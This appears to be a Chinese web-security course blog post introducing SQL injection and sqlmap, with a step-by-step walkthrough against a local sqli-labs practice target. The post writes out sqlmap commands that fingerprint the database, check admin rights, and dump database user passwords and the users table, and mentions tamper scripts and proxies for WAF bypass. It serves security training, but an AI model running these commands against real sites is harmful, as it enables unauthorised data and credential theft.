day26WEB攻防-通用漏洞&SQL注入&Sqlmap&Oracle&Mongodb&DB2等

目录

一,数据库注入-联合猜解-Oracle&Mongodb

案例:

二,SQLMAP的讲解和使用

1.关于SQLmap的几个知识点

1.1什么是SQLMAP?

1.2它支持哪些数据库的注入?

1.3它支持哪些SQL注入模式?

1.4它支持哪些其他不一样的功能?

1.5使用SQLMAP一般注入流程分析 ?

2.SQLMAP的下载安装

3.SQLMAP的使用 

4.基于MYSQL数据库的简单案例 

4.1在sqlmap目录下打开cmd

4.2假设目标注入点是http://localhost/sqli-labs-php7-master/Less-1/?id=1 ,判断其是否存在注入点

4.3读取数据库版本,当前用户,当前数据库 

4.4判断当前数据库用户权限

4.5读取所有数据库用户或指定数据库用户的密码

4.6获取所有数据库 

4.7获取指定数据库中的所有表 

4.8获取指定数据库名中指定表的字段

4.9获取指定数据库名中指定表中指定字段的数据 

三,数据库注入-SQLMAP-DB2&SQLite&Sybase

四,数据库注入-SQLMAP-数据猜解&高权限读写执行


 

一,数据库注入-联合猜解-Oracle&Mongodb

关于Oracle注入的参考文章:https://www.cnblogs.com/peterpan0707007/p/8242119.html

Mongodb参考: https://www.runoob.com/mongodb/mongodb-query.html

案例:

Oracle墨者学院在线靶场:https://www.mozhe.cn/bug/detail/M2dRRXJqN3RqWnhvTGRTK1JJdjk5dz09bW96aGUmozhe

 Mongodb墨者学院在线靶场:

https://www.mozhe.cn/bug/detail/YXlRYUJPYk1vQjAreHlweVAyMzVTUT09bW96aGUmozhe

这里我就不演示了,有点小贵,没钱哈哈哈哈!!! 

二,SQLMAP的讲解和使用

1.关于SQLmap的几个知识点

1.1什么是SQLMAP?

sqlmap 是一个开源渗透测试工具,可自动检测和利用 SQL 注入缺陷并接管数据库服务器的过程。它配备了强大的检测引擎、用于终极渗透测试仪的许多利基功能以及从数据库指纹识别、从数据库获取数据到访问底层文件系统和通过带外连接在操作系统上执行命令的各种切换。

1.2它支持哪些数据库的注入?

完全支持 MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access、IBM DB2、SQLite、Firebird、Sybase、SAP MaxDB、Informix、MariaDB、MemSQL、TiDB、CockroachDB、HSQLDB、H2、MonetDB、Apache Derby、Amazon Redshift、Vertica、Mckoi、Presto、Altibase、MimerSQL、CrateDB、Greenplum、Drizzle、Apache Ignite、Cubrid、InterSystems Cache、IRIS、eXtremeDB、FrontBase、Raima Database Manager、YugabyteDB、Aurora、OpenGauss、ClickHouse 和 Virtuoso 数据库管理系统。

基本上支持市面上的百分之九十数据库

1.3它支持哪些SQL注入模式?

完全支持六种 SQL 注入技术:基于布尔的盲、基于时间的盲、基于错误、基于 UNION 查询、堆叠查询和带外。

1.4它支持哪些其他不一样的功能?

支持代理注入:在注入的时候,代理可以让你时时刻刻看到sqlmap的进度,还能解决waf过滤,比如说当你请求过快,网站可能会直接将你拉入到黑名单,使你访问不了,这个时候sqlmap可以通过代理去尝试绕过,代理也可以解决网站访问速度和拒绝访问的情况

提供了tamper脚本:在注入的过程中,会遇到一些复杂的注入(waf绕过,过滤,编码等),tamper脚本可以尝试绕过

1.5使用SQLMAP一般注入流程分析 ?

判断注入点->判断数据库类型->判断是否存在高低权限->低权限只能猜解数据,只有高权限才能进行文件的读取和写入

2.SQLMAP的下载安装

2.1官网下载python https://www.python.org/

sqlmap需要在python环境下运行,所以要先安装python 

2.2.官网下载:https://sqlmap.org/

3.SQLMAP的使用 

参考文章:https://www.cnblogs.com/bmjoker/p/9326258.html 

4.基于MYSQL数据库的简单案例 

4.1在sqlmap目录下打开cmd

day26WEB攻防-通用漏洞&SQL注入&Sqlmap&Oracle&Mongodb&DB2等_第1张图片

4.2假设目标注入点是http://localhost/sqli-labs-php7-master/Less-1/?id=1 ,判断其是否存在注入点

python sqlmap.py -u "http://localhost/sqli-labs-php7-master/Less-1/?id=1"

day26WEB攻防-通用漏洞&SQL注入&Sqlmap&Oracle&Mongodb&DB2等_第2张图片

 输入命令回车即可,中途如果停止直接回车即可,直到看到下面这个页面就说明存在注入点day26WEB攻防-通用漏洞&SQL注入&Sqlmap&Oracle&Mongodb&DB2等_第3张图片

4.3读取数据库版本,当前用户,当前数据库 

python sqlmap.py -u "http://localhost/sqli-labs-php7-master/Less-1/?id=1" -f -b --current-user --current-db -v 0

day26WEB攻防-通用漏洞&SQL注入&Sqlmap&Oracle&Mongodb&DB2等_第4张图片

4.4判断当前数据库用户权限

python sqlmap.py -u "http://localhost/sqli-labs-php7-master/Less-1/?id=1" --is-dba -U root -v 1

day26WEB攻防-通用漏洞&SQL注入&Sqlmap&Oracle&Mongodb&DB2等_第5张图片

这里有个问题,我的靶场数据库明明是通过root用户创建的,为什么我这里显示的不是最高用户权限,如果有大神看到在评论区告诉我一下,谢谢!!!

4.5读取所有数据库用户或指定数据库用户的密码

python sqlmap.py -u "http://localhost/sqli-labs-php7-master/Less-1/?id=1" --users --passwords -v 2

day26WEB攻防-通用漏洞&SQL注入&Sqlmap&Oracle&Mongodb&DB2等_第6张图片

4.6获取所有数据库 

python sqlmap.py -u "http://localhost/sqli-labs-php7-master/Less-1/?id=1" --dbs

day26WEB攻防-通用漏洞&SQL注入&Sqlmap&Oracle&Mongodb&DB2等_第7张图片

4.7获取指定数据库中的所有表 

python sqlmap.py -u "http://localhost/sqli-labs-php7-master/Less-1/?id=1" --tables -D security

day26WEB攻防-通用漏洞&SQL注入&Sqlmap&Oracle&Mongodb&DB2等_第8张图片

4.8获取指定数据库名中指定表的字段

python sqlmap.py -u "http://localhost/sqli-labs-php7-master/Less-1/?id=1" --columns -D security -T users

day26WEB攻防-通用漏洞&SQL注入&Sqlmap&Oracle&Mongodb&DB2等_第9张图片

4.9获取指定数据库名中指定表中指定字段的数据 

python sqlmap.py -u "http://localhost/sqli-labs-php7-master/Less-1/?id=1" --dump -D security -T users -C "username,password"

day26WEB攻防-通用漏洞&SQL注入&Sqlmap&Oracle&Mongodb&DB2等_第10张图片

至于文件的读写因为这里不是最高权限,所以无法完成

三,数据库注入-SQLMAP-DB2&SQLite&Sybase

四,数据库注入-SQLMAP-数据猜解&高权限读写执行

你可能感兴趣的:(小迪安全-2022年,sql,oracle,数据库)